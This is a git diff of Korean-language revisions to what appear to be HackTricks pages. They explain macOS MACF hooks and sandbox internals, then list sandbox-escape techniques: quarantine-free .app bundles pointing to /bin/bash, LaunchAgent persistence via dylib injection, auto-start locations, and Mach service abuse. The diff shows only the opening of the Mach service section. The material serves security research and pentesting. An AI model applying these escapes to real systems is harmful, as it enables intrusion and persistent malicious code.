-그런 다음 [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174)에서 `mac_file_check_mmap`의 코드를 찾을 수 있습니다. +그런 다음, [https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_file.c#L174)에서 `mac_file_check_mmap`의 코드를 찾을 수 있습니다. ```c mac_file_check_mmap(struct ucred *cred, struct fileglob *fg, int prot, int flags, uint64_t offset, int *maxprot) @@ -160,13 +160,15 @@ error = mac_error_select(__step_err, error); \ 모든 등록된 mac 정책을 호출하고 그 함수의 출력을 error 변수에 저장하는 과정을 거치며, 이 변수는 성공 코드에 의해 `mac_error_select`로만 재정의될 수 있습니다. 따라서 어떤 체크가 실패하면 전체 체크가 실패하고 해당 작업이 허용되지 않습니다. > [!TIP] -> 그러나 모든 MACF 호출이 행동을 거부하는 데만 사용되는 것은 아닙니다. 예를 들어, `mac_priv_grant`는 매크로 [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274)를 호출하며, 이는 어떤 정책이 0으로 응답하면 요청된 권한을 부여합니다: +> 그러나 모든 MACF 호출이 행동을 거부하는 데만 사용되는 것은 아니라는 점을 기억하세요. 예를 들어, `mac_priv_grant`는 매크로 [**MAC_GRANT**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/security/mac_internal.h#L274)를 호출하며, 이는 어떤 정책이 0으로 응답하면 요청된 권한을 부여합니다: > > ```c > /* -> * MAC_GRANT는 정책 모듈 목록을 순회하며 요청에 대해 각 정책이 어떻게 느끼는지 확인하여 지정된 체크를 수행합니다. -> * MAC_CHECK와 달리, 어떤 정책이 '0'을 반환하면 부여하고, 그렇지 않으면 EPERM을 반환합니다. -> * 호출자의 범위 내에서 'error'를 통해 값을 반환합니다. +> * MAC_GRANT는 정책 모듈 목록을 순회하며 요청에 대해 +> * 각 정책이 어떻게 느끼는지 확인하여 지정된 체크를 수행합니다. +> * MAC_CHECK와 달리, 어떤 정책이 '0'을 반환하면 부여하고, +> * 그렇지 않으면 EPERM을 반환합니다. 호출자의 범위에서 +> * 'error'를 통해 값을 반환합니다. > */ > #define MAC_GRANT(check, args...) do { \ > error = EPERM; \ @@ -185,12 +187,12 @@ error = mac_error_select(__step_err, error); \ ### priv_check & priv_grant -이 호출은 [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h)에서 정의된 (수십 개의) **권한**을 확인하고 제공하는 데 사용됩니다.\ -일부 커널 코드는 프로세스의 KAuth 자격 증명과 함께 `priv_check_cred()`를 호출하며, 권한을 부여하는 정책이 있는지 확인하기 위해 `mac_priv_check`를 호출한 후, `mac_priv_grant`를 호출하여 어떤 정책이 `privilege`를 부여하는지 확인합니다. +이 호출들은 [**bsd/sys/priv.h**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/sys/priv.h)에서 정의된 (수십 개의) **권한**을 확인하고 제공하기 위한 것입니다.\ +일부 커널 코드는 프로세스의 KAuth 자격 증명과 함께 `priv_check_cred()`를 [**bsd/kern/kern_priv.c**](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/kern/kern_priv.c)에서 호출하며, 권한을 부여하는 정책이 있는지 확인하기 위해 `mac_priv_check`를 호출한 후, `mac_priv_grant`를 호출하여 어떤 정책이 `privilege`를 부여하는지 확인합니다. ### proc_check_syscall_unix -이 훅은 모든 시스템 호출을 가로챌 수 있게 해줍니다. `bsd/dev/[i386|arm]/systemcalls.c`에서 선언된 함수 [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25)를 확인할 수 있으며, 이 코드가 포함되어 있습니다: +이 후크는 모든 시스템 호출을 가로챌 수 있게 해줍니다. `bsd/dev/[i386|arm]/systemcalls.c`에서 선언된 함수 [`unix_syscall`](https://github.com/apple-oss-distributions/xnu/blob/94d3b452840153a99b38a3a9659680b2a006908e/bsd/dev/arm/systemcalls.c#L160C1-L167C25)를 확인할 수 있으며, 이 코드가 포함되어 있습니다: ```c #if CONFIG_MACF if (__improbable(proc_syscall_filter_mask(proc) != NULL && !bitstr_test(proc_syscall_filter_mask(proc), syscode))) { diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md index f3821b583..71680def4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/README.md @@ -30,7 +30,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler [...] ``` -각 번들 ID 폴더 안에는 **plist**와 홈 폴더를 모방한 구조의 앱 **Data directory**를 찾을 수 있습니다: +각 번들 ID 폴더 안에는 **plist**와 홈 폴더를 모방한 구조의 앱 **Data 디렉토리**를 찾을 수 있습니다: ```bash cd /Users/username/Library/Containers/com.apple.Safari ls -la @@ -131,9 +131,9 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf... ) ``` > [!TIP] -> 이 [**연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)를 확인하여 허용되거나 거부될 수 있는 더 많은 작업을 확인하세요. +> 이 [**연구**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/)를 확인하여 허용되거나 거부될 수 있는 추가 작업을 확인하세요. > -> 프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에서 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 만듭니다. +> 프로파일의 컴파일된 버전에서는 작업의 이름이 dylib와 kext에 의해 알려진 배열의 항목으로 대체되어 컴파일된 버전이 더 짧고 읽기 어렵게 만듭니다. 중요한 **시스템 서비스**는 `mdnsresponder` 서비스와 같은 자체 맞춤 **샌드박스** 내에서 실행됩니다. 이러한 맞춤 **샌드박스 프로파일**은 다음에서 확인할 수 있습니다: @@ -216,7 +216,7 @@ log show --style syslog --predicate 'eventMessage contains[c] "sandbox"' --last (version 1) (trace /tmp/trace.out) ``` -그런 다음 해당 프로필을 사용하여 무언가를 실행합니다: +그런 다음 해당 프로필을 사용하여 무언가를 실행하십시오: ```bash sandbox-exec -f /tmp/trace.sb /bin/ls ``` @@ -227,7 +227,7 @@ sandbox-exec -f /tmp/trace.sb /bin/ls #### API를 통한 방법 `libsystem_sandbox.dylib`에서 내보낸 `sandbox_set_trace_path` 함수는 샌드박스 검사가 기록될 추적 파일 이름을 지정할 수 있게 해줍니다.\ -`sandbox_vtrace_enable()`을 호출하고, 그 후 `sandbox_vtrace_report()`를 호출하여 버퍼에서 로그 오류를 가져오는 유사한 작업을 수행할 수도 있습니다. +`sandbox_vtrace_enable()`을 호출하고, 그 후 `sandbox_vtrace_report()`를 호출하여 버퍼에서 로그 오류를 가져오는 유사한 작업도 가능합니다. ### 샌드박스 검사 @@ -239,7 +239,7 @@ MacOS는 시스템 샌드박스 프로파일을 두 위치에 저장합니다: * 그리고 서드파티 애플리케이션이 _**com.apple.security.app-sandbox**_ 권한을 가지고 있다면, 시스템은 해당 프로세스에 **/System/Library/Sandbox/Profiles/application.sb** 프로파일을 적용합니다. -iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대한 허용/거부 이진 트리로 표현됩니다. +iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 표현이 없습니다. 메모리에서 이 샌드박스는 샌드박스의 각 권한에 대해 허용/거부 이진 트리로 표현됩니다. ### App Store 앱의 사용자 정의 SBPL @@ -261,13 +261,13 @@ iOS에서는 기본 프로파일이 **container**라고 하며, SBPL 텍스트 이 도구의 리버스 및 [**오픈 소스 버전인 sandbox-exec**](https://newosxbook.com/src.jl?tree=listings&file=/sandbox_exec.c)는 **`sandbox-exec`**가 컴파일된 Sandbox 프로필을 파일에 기록할 수 있게 합니다. -또한, 프로세스를 컨테이너 내부에 제한하려면 `sandbox_spawnattrs_set[container/profilename]`를 호출하고 컨테이너 또는 기존 프로필을 전달할 수 있습니다. +또한, 프로세스를 컨테이너 내에 제한하려면 `sandbox_spawnattrs_set[container/profilename]`를 호출하고 컨테이너 또는 기존 프로필을 전달할 수 있습니다. ## Sandbox 디버그 및 우회 -macOS에서는 프로세스가 커널에 의해 처음부터 샌드박스화되는 iOS와 달리, **프로세스가 스스로 샌드박스에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 샌드박스에 들어가기로 결정할 때까지 샌드박스에 의해 제한되지 않음을 의미하며, App Store 앱은 항상 샌드박스화됩니다. +macOS에서는 프로세스가 커널에 의해 처음부터 Sandbox에 격리되는 iOS와 달리, **프로세스가 스스로 Sandbox에 참여해야 합니다**. 이는 macOS에서 프로세스가 적극적으로 Sandbox에 들어가기로 결정할 때까지 Sandbox에 의해 제한되지 않음을 의미하며, App Store 앱은 항상 Sandbox에 격리됩니다. -프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 샌드박스화됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오: +프로세스는 `com.apple.security.app-sandbox` 권한이 있을 경우 사용자 공간에서 시작할 때 자동으로 Sandbox에 격리됩니다. 이 프로세스에 대한 자세한 설명은 다음을 확인하십시오: {{#ref}} macos-sandbox-debug-and-bypass/ @@ -287,7 +287,7 @@ macos-sandbox-debug-and-bypass/ 확장은 프로세스 자격 증명에서 접근할 수 있는 두 번째 MACF 레이블 슬롯에 저장됩니다. 다음 **`sbtool`**이 이 정보를 접근할 수 있습니다. -확장은 일반적으로 허용된 프로세스에 의해 부여된다는 점에 유의하십시오. 예를 들어, `tccd`는 프로세스가 사진에 접근하려고 시도하고 XPC 메시지에서 허용되었을 때 `com.apple.tcc.kTCCServicePhotos`의 확장 토큰을 부여합니다. 그런 다음 프로세스는 확장 토큰을 소비해야 추가됩니다.\ +확장은 일반적으로 허용된 프로세스에 의해 부여되며, 예를 들어, `tccd`는 프로세스가 사진에 접근하려고 시도하고 XPC 메시지에서 허용되었을 때 `com.apple.tcc.kTCCServicePhotos`의 확장 토큰을 부여합니다. 그런 다음 프로세스는 확장 토큰을 소비해야 추가됩니다.\ 확장 토큰은 부여된 권한을 인코딩하는 긴 16진수입니다. 그러나 허용된 PID가 하드코딩되어 있지 않으므로, 토큰에 접근할 수 있는 모든 프로세스가 **여러 프로세스에 의해 소비될 수 있습니다**. 확장은 권한과 매우 관련이 있으므로 특정 권한을 가지면 특정 확장이 자동으로 부여될 수 있습니다. @@ -307,7 +307,7 @@ sbtool all 샌드박스를 일시 중지하고 다시 시작하는 것도 가능합니다. `libsystem_sandbox.dylib`의 `sandbox_suspend` 및 `sandbox_unsuspend` 함수를 사용합니다. -일시 중지 함수를 호출하려면 다음과 같은 몇 가지 권한이 확인되어 호출자가 이를 호출할 수 있도록 승인됩니다: +일시 중지 함수를 호출하려면 호출자가 이를 호출할 수 있도록 몇 가지 권한이 확인됩니다: - com.apple.private.security.sandbox-manager - com.apple.security.print @@ -317,11 +317,11 @@ sbtool all 이 시스템 호출 (#381)은 첫 번째 인수로 실행할 모듈을 나타내는 문자열을 기대하며, 두 번째 인수로 실행할 함수를 나타내는 코드를 기대합니다. 세 번째 인수는 실행된 함수에 따라 달라집니다. -함수 `___sandbox_ms` 호출은 `mac_syscall`을 래핑하며 첫 번째 인수로 `"Sandbox"`를 나타냅니다. `___sandbox_msp`는 `mac_set_proc` (#387)의 래퍼입니다. 그런 다음, `___sandbox_ms`에서 지원되는 일부 코드는 다음 표에서 확인할 수 있습니다: +함수 `___sandbox_ms` 호출은 `mac_syscall`을 래핑하며 첫 번째 인수로 `"Sandbox"`를 나타냅니다. `___sandbox_msp`는 `mac_set_proc` (#387)의 래퍼입니다. 그런 다음 `___sandbox_ms`에서 지원되는 일부 코드는 다음 표에서 확인할 수 있습니다: -- **set_profile (#0)**: 프로세스에 컴파일된 또는 명명된 프로필을 적용합니다. +- **set_profile (#0)**: 프로세스에 컴파일된 또는 명명된 프로파일을 적용합니다. - **platform_policy (#1)**: 플랫폼별 정책 검사를 시행합니다 (macOS와 iOS 간에 다름). -- **check_sandbox (#2)**: 특정 샌드박스 작업에 대한 수동 검사를 수행합니다. +- **check_sandbox (#2)**: 특정 샌드박스 작업의 수동 검사를 수행합니다. - **note (#3)**: 샌드박스에 주석을 추가합니다. - **container (#4)**: 일반적으로 디버깅 또는 식별을 위해 샌드박스에 주석을 첨부합니다. - **extension_issue (#5)**: 프로세스에 대한 새로운 확장을 생성합니다. @@ -336,43 +336,43 @@ sbtool all - **container_map (#14)**: (iOS 전용) `containermanagerd`에서 컨테이너 경로를 검색합니다. - **sandbox_user_state_item_buffer_send (#15)**: (iOS 10+) 샌드박스에서 사용자 모드 메타데이터를 설정합니다. - **inspect (#16)**: 샌드박스화된 프로세스에 대한 디버그 정보를 제공합니다. -- **dump (#18)**: (macOS 11) 분석을 위해 샌드박스의 현재 프로필을 덤프합니다. +- **dump (#18)**: (macOS 11) 분석을 위해 샌드박스의 현재 프로파일을 덤프합니다. - **vtrace (#19)**: 모니터링 또는 디버깅을 위해 샌드박스 작업을 추적합니다. -- **builtin_profile_deactivate (#20)**: (macOS < 11) 명명된 프로필을 비활성화합니다 (예: `pe_i_can_has_debugger`). +- **builtin_profile_deactivate (#20)**: (macOS < 11) 명명된 프로파일을 비활성화합니다 (예: `pe_i_can_has_debugger`). - **check_bulk (#21)**: 단일 호출에서 여러 `sandbox_check` 작업을 수행합니다. - **reference_retain_by_audit_token (#28)**: 샌드박스 검사에 사용할 감사 토큰에 대한 참조를 생성합니다. - **reference_release (#29)**: 이전에 유지된 감사 토큰 참조를 해제합니다. - **rootless_allows_task_for_pid (#30)**: `task_for_pid`가 허용되는지 확인합니다 (유사한 `csr` 검사). - **rootless_whitelist_push (#31)**: (macOS) 시스템 무결성 보호(SIP) 매니페스트 파일을 적용합니다. -- **rootless_whitelist_check (preflight) (#32)**: 실행 전에 SIP 매니페스트 파일을 확인합니다. +- **rootless_whitelist_check (preflight) (#32)**: 실행 전에 SIP 매니페스트 파일을 검사합니다. - **rootless_protected_volume (#33)**: (macOS) 디스크 또는 파티션에 SIP 보호를 적용합니다. - **rootless_mkdir_protected (#34)**: 디렉토리 생성 프로세스에 SIP/DataVault 보호를 적용합니다. ## Sandbox.kext -iOS에서는 커널 확장이 **모든 프로필을 하드코딩**하여 `__TEXT.__const` 세그먼트 내에 포함되어 수정되지 않도록 합니다. 다음은 커널 확장에서 흥미로운 몇 가지 함수입니다: +iOS에서는 커널 확장이 **모든 프로파일을 하드코딩**하여 `__TEXT.__const` 세그먼트 내에 포함되어 수정되지 않도록 합니다. 다음은 커널 확장에서 흥미로운 몇 가지 함수입니다: -- **`hook_policy_init`**: `mpo_policy_init`을 후킹하며 `mac_policy_register` 후에 호출됩니다. 샌드박스의 대부분 초기화를 수행합니다. SIP도 초기화합니다. -- **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` 및 `security.mac.sandbox.debug_mode`를 등록하는 sysctl 인터페이스를 설정합니다 (만약 `PE_i_can_has_debugger`로 부팅된 경우). +- **`hook_policy_init`**: `mpo_policy_init`을 후킹하며 `mac_policy_register` 이후에 호출됩니다. 샌드박스의 대부분 초기화를 수행합니다. SIP도 초기화합니다. +- **`hook_policy_initbsd`**: `security.mac.sandbox.sentinel`, `security.mac.sandbox.audio_active` 및 `security.mac.sandbox.debug_mode`를 등록하여 sysctl 인터페이스를 설정합니다 (PE_i_can_has_debugger로 부팅된 경우). - **`hook_policy_syscall`**: "Sandbox"를 첫 번째 인수로 하고 두 번째 인수로 작업을 나타내는 코드와 함께 `mac_syscall`에 의해 호출됩니다. 요청된 코드에 따라 실행할 코드를 찾기 위해 switch가 사용됩니다. ### MACF Hooks -**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 사소한 경우를 확인하여 작업을 수행할 수 있도록 하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **credentials**와 수행할 **operation**에 해당하는 숫자 및 **output**을 위한 **buffer**를 전달합니다. +**`Sandbox.kext`**는 MACF를 통해 백 개 이상의 후킹을 사용합니다. 대부분의 후킹은 작업을 수행할 수 있는 사소한 경우를 확인하며, 그렇지 않은 경우 **`cred_sb_evalutate`**를 호출하여 MACF의 **credentials**와 수행할 **operation**에 해당하는 숫자 및 출력용 **buffer**를 전달합니다. -그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인한 후 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시를 위해 사용되는지 확인하고, 그렇다면 실행을 허용하며, 마지막으로 **`sb_evaluate_internal`** (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다. +그 좋은 예는 **`_mpo_file_check_mmap`** 함수로, **`mmap`**을 후킹하며 새로운 메모리가 쓰기 가능할지 확인한 후 (그렇지 않으면 실행을 허용하지 않음), dyld 공유 캐시에서 사용되는지 확인하고, 그렇다면 실행을 허용하며, 마지막으로 **`sb_evaluate_internal`** (또는 그 래퍼 중 하나)을 호출하여 추가 허용 검사를 수행합니다. -게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지는 다음과 같습니다: +게다가, 샌드박스가 사용하는 수백 개의 후킹 중에서 특히 흥미로운 세 가지가 있습니다: -- `mpo_proc_check_for`: 필요할 경우 프로필을 적용하며, 이전에 적용되지 않은 경우에만 적용합니다. -- `mpo_vnode_check_exec`: 프로세스가 관련 이진 파일을 로드할 때 호출되며, 프로필 검사가 수행되고 SUID/SGID 실행을 금지하는 검사도 수행됩니다. -- `mpo_cred_label_update_execve`: 레이블이 할당될 때 호출됩니다. 이 함수는 이진 파일이 완전히 로드되었지만 아직 실행되지 않았을 때 호출되므로 가장 긴 함수입니다. 샌드박스 객체를 생성하고, kauth 자격 증명에 샌드박스 구조를 첨부하고, mach 포트에 대한 액세스를 제거하는 등의 작업을 수행합니다. +- `mpo_proc_check_for`: 필요할 경우 프로파일을 적용하며, 이전에 적용되지 않은 경우에만 적용합니다. +- `mpo_vnode_check_exec`: 프로세스가 관련 이진 파일을 로드할 때 호출되며, 프로파일 검사가 수행되고 SUID/SGID 실행을 금지하는 검사도 수행됩니다. +- `mpo_cred_label_update_execve`: 레이블이 할당될 때 호출됩니다. 이 함수는 이진 파일이 완전히 로드되었지만 아직 실행되지 않았을 때 호출되므로 가장 긴 함수입니다. 샌드박스 객체를 생성하고, kauth 자격 증명에 샌드박스 구조체를 첨부하고, mach 포트에 대한 액세스를 제거하는 등의 작업을 수행합니다. -**`_cred_sb_evalutate`**는 **`sb_evaluate_internal`**의 래퍼이며, 이 함수는 전달된 자격 증명을 가져온 후 **`eval`** 함수를 사용하여 평가를 수행합니다. 이 함수는 일반적으로 모든 프로세스에 기본적으로 적용되는 **platform profile**을 평가한 다음 **specific process profile**을 평가합니다. 플랫폼 프로필은 macOS의 **SIP**의 주요 구성 요소 중 하나입니다. +**`_cred_sb_evalutate`**는 **`sb_evaluate_internal`**의 래퍼이며, 이 함수는 전달된 자격 증명을 가져온 후 **`eval`** 함수를 사용하여 평가를 수행합니다. 이 함수는 일반적으로 모든 프로세스에 기본적으로 적용되는 **platform profile**을 평가한 다음 **specific process profile**을 평가합니다. 플랫폼 프로파일은 macOS의 **SIP**의 주요 구성 요소 중 하나입니다. ## Sandboxd -샌드박스는 XPC Mach 서비스 `com.apple.sandboxd`를 노출하는 사용자 데몬도 실행하며, 커널 확장이 이를 통신하는 데 사용하는 특별한 포트 14 (`HOST_SEATBELT_PORT`)에 바인딩됩니다. MIG를 사용하여 일부 기능을 노출합니다. +샌드박스는 XPC Mach 서비스 `com.apple.sandboxd`를 노출하는 사용자 데몬도 실행하며, 커널 확장이 통신하는 데 사용하는 특별한 포트 14 (`HOST_SEATBELT_PORT`)에 바인딩됩니다. MIG를 사용하여 일부 기능을 노출합니다. ## References diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md index ab7cd19da..c4c15bb7d 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-security-protections/macos-sandbox/macos-sandbox-debug-and-bypass/README.md @@ -6,25 +6,25 @@

Image from http://newosxbook.com/files/HITSB.pdf

-이전 이미지에서 **샌드박스가 어떻게 로드되는지** 관찰할 수 있습니다. 이는 **`com.apple.security.app-sandbox`** 권한을 가진 애플리케이션이 실행될 때 발생합니다. +이전 이미지에서 **샌드박스가 어떻게 로드되는지** 관찰할 수 있습니다. 이는 **`com.apple.security.app-sandbox`** 권한이 있는 애플리케이션이 실행될 때 발생합니다. 컴파일러는 `/usr/lib/libSystem.B.dylib`를 바이너리에 링크합니다. -그런 다음, **`libSystem.B`**는 여러 다른 함수를 호출하여 **`xpc_pipe_routine`**이 애플리케이션의 권한을 **`securityd`**에 전송합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다.\ +그런 다음, **`libSystem.B`**는 여러 다른 함수를 호출하여 **`xpc_pipe_routine`**이 앱의 권한을 **`securityd`**에 전송할 때까지 진행합니다. Securityd는 프로세스가 샌드박스 내에서 격리되어야 하는지 확인하고, 그렇다면 격리합니다.\ 마지막으로, 샌드박스는 **`__sandbox_ms`**에 대한 호출로 활성화되며, 이는 **`__mac_syscall`**을 호출합니다. ## Possible Bypasses ### Bypassing quarantine attribute -**샌드박스화된 프로세스에 의해 생성된 파일**은 샌드박스 탈출을 방지하기 위해 **격리 속성**이 추가됩니다. 그러나 샌드박스화된 애플리케이션 내에서 **격리 속성이 없는 `.app` 폴더를 생성**할 수 있다면, 애플리케이션 번들 바이너리를 **`/bin/bash`**로 가리키게 하고 **plist**에 몇 가지 환경 변수를 추가하여 **`open`**을 악용하여 **새 애플리케이션을 샌드박스 없이 실행**할 수 있습니다. +**샌드박스화된 프로세스에 의해 생성된 파일**은 샌드박스 탈출을 방지하기 위해 **격리 속성**이 추가됩니다. 그러나 샌드박스화된 애플리케이션 내에서 **격리 속성이 없는 `.app` 폴더를 생성**할 수 있다면, 앱 번들 바이너리를 **`/bin/bash`**로 가리키게 하고 **plist**에 몇 가지 환경 변수를 추가하여 **`open`**을 악용하여 **새 앱을 샌드박스 없이 실행**할 수 있습니다. 이것은 [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)**에서 수행된 작업입니다.** > [!CAUTION] -> 따라서 현재로서는 **`.app`**로 끝나는 이름의 폴더를 격리 속성 없이 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 **`.app` 폴더**와 **주 실행 파일**에서만 **격리** 속성을 **확인**하기 때문입니다 (그리고 우리는 주 실행 파일을 **`/bin/bash`**로 가리키게 할 것입니다). +> 따라서 현재로서는 **격리 속성이 없는 `.app`**로 끝나는 이름의 폴더를 생성할 수 있다면, 샌드박스를 탈출할 수 있습니다. macOS는 **`.app` 폴더**와 **주 실행 파일**에서만 **격리** 속성을 **확인**하기 때문입니다 (그리고 우리는 주 실행 파일을 **`/bin/bash`**로 가리키게 할 것입니다). > -> 이미 실행할 수 있도록 승인된 .app 번들이 있다면 (실행 승인 플래그가 있는 격리 xttr가 있는 경우), 그것을 악용할 수도 있습니다... 단, 이제는 샌드박스 내에서 **`.app`** 번들에 쓸 수 없게 됩니다. (특권 TCC 권한이 없기 때문입니다). +> 이미 실행할 수 있도록 승인된 .app 번들이 있다면 (실행 승인 플래그가 있는 격리 xttr가 있는 경우), 그것을 악용할 수도 있습니다... 단, 이제는 샌드박스 높은 권한 내에서는 **`.app`** 번들 내에 쓸 수 없습니다. ### Abusing Open functionality @@ -37,13 +37,13 @@ macos-office-sandbox-bypasses.md ### Launch Agents/Daemons 애플리케이션이 **샌드박스화되도록 설계되었더라도** (`com.apple.security.app-sandbox`), 예를 들어 **LaunchAgent** (`~/Library/LaunchAgents`)에서 실행되면 샌드박스를 우회할 수 있습니다.\ -[**이 게시물**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)에서 설명한 바와 같이, 샌드박스화된 애플리케이션으로 지속성을 얻으려면 LaunchAgent로 자동 실행되도록 설정하고 DyLib 환경 변수를 통해 악성 코드를 주입할 수 있습니다. +[**이 게시물**](https://www.vicarius.io/vsociety/posts/cve-2023-26818-sandbox-macos-tcc-bypass-w-telegram-using-dylib-injection-part-2-3?q=CVE-2023-26818)에서 설명한 바와 같이, 샌드박스화된 애플리케이션으로 지속성을 얻으려면 LaunchAgent로 자동 실행되도록 만들고 DyLib 환경 변수를 통해 악성 코드를 주입할 수 있습니다. ### Abusing Auto Start Locations -샌드박스화된 프로세스가 **나중에 샌드박스 없이 실행될 애플리케이션이 바이너리를 실행할 위치에** **쓰기** 할 수 있다면, 그곳에 바이너리를 배치함으로써 **탈출할 수 있습니다**. 이러한 위치의 좋은 예는 `~/Library/LaunchAgents` 또는 `/System/Library/LaunchDaemons`입니다. +샌드박스화된 프로세스가 **나중에 샌드박스 없이 실행될 애플리케이션이 바이너리를 실행할 위치에 쓸 수 있다면**, 그곳에 바이너리를 배치하여 **탈출할 수 있습니다**. 이러한 위치의 좋은 예는 `~/Library/LaunchAgents` 또는 `/System/Library/LaunchDaemons`입니다. -이를 위해서는 **2단계**가 필요할 수 있습니다: **더 관대한 샌드박스** (`file-read*`, `file-write*`)를 가진 프로세스를 실행하여 실제로 **샌드박스 없이 실행될 위치에** 코드를 작성하게 합니다. +이를 위해서는 **2단계**가 필요할 수 있습니다: **더 관대 한 샌드박스** (`file-read*`, `file-write*`)를 가진 프로세스를 실행하여 실제로 **샌드박스 없이 실행될 위치에** 코드를 작성하게 합니다. **자동 시작 위치**에 대한 이 페이지를 확인하세요: @@ -53,7 +53,7 @@ macos-office-sandbox-bypasses.md ### Abusing other processes -샌드박스 프로세스에서 **덜 제한적인 샌드박스**(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 **타격**할 수 있다면, 그들의 샌드박스를 탈출할 수 있습니다: +샌드박스 프로세스에서 **덜 제한적인 샌드박스**(또는 없는 샌드박스)에서 실행 중인 다른 프로세스를 **타격할 수 있다면**, 그들의 샌드박스를 탈출할 수 있습니다: {{#ref}} ../../../macos-proces-abuse/ @@ -61,9 +61,9 @@ macos-office-sandbox-bypasses.md ### Available System and User Mach services -샌드박스는 또한 프로필 `application.sb`를 통해 특정 **Mach 서비스**와 통신할 수 있도록 허용합니다. 이러한 서비스 중 하나를 **악용**할 수 있다면 **샌드박스를 탈출**할 수 있습니다. +샌드박스는 또한 프로필 `application.sb`에 정의된 특정 **Mach 서비스**와 XPC를 통해 통신할 수 있도록 허용합니다. 이러한 서비스 중 하나를 **악용**할 수 있다면 **샌드박스를 탈출할 수 있습니다**. -[이 글](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 언급된 바와 같이, Mach 서비스에 대한 정보는 `/System/Library/xpc/launchd.plist`에 저장됩니다. `System` 및 `User`를 해당 파일에서 검색하여 모든 시스템 및 사용자 Mach 서비스를 찾을 수 있습니다. +[이 글](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/)에서 언급된 바와 같이, Mach 서비스에 대한 정보는 `/System/Library/xpc/launchd.plist`에 저장됩니다. `System` 및 `User`를 해당 파일 내에서 검색하여 모든 시스템 및 사용자 Mach 서비스를 찾을 수 있습니다. 또한, `bootstrap_look_up`을 호출하여 샌드박스화된 애플리케이션에 Mach 서비스가 사용 가능한지 확인할 수 있습니다. ```objectivec @@ -90,20 +90,20 @@ checkService(serviceName.UTF8String); ``` ### 사용 가능한 PID Mach 서비스 -이 Mach 서비스는 [이 문서에서 샌드박스를 탈출하기 위해 처음으로 악용되었습니다](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). 그 당시, **애플리케이션과 그 프레임워크에서 요구되는 모든 XPC 서비스**가 앱의 PID 도메인에서 볼 수 있었습니다 (이들은 `ServiceType`이 `Application`인 Mach 서비스입니다). +이 Mach 서비스는 처음에 [이 문서에서 샌드박스를 탈출하는 데 악용되었습니다](https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/). 그 당시, **애플리케이션과 그 프레임워크에서 요구되는 모든 XPC 서비스**가 앱의 PID 도메인에서 볼 수 있었습니다(이들은 `ServiceType`이 `Application`인 Mach 서비스입니다). **PID 도메인 XPC 서비스에 연락하기 위해서는**, 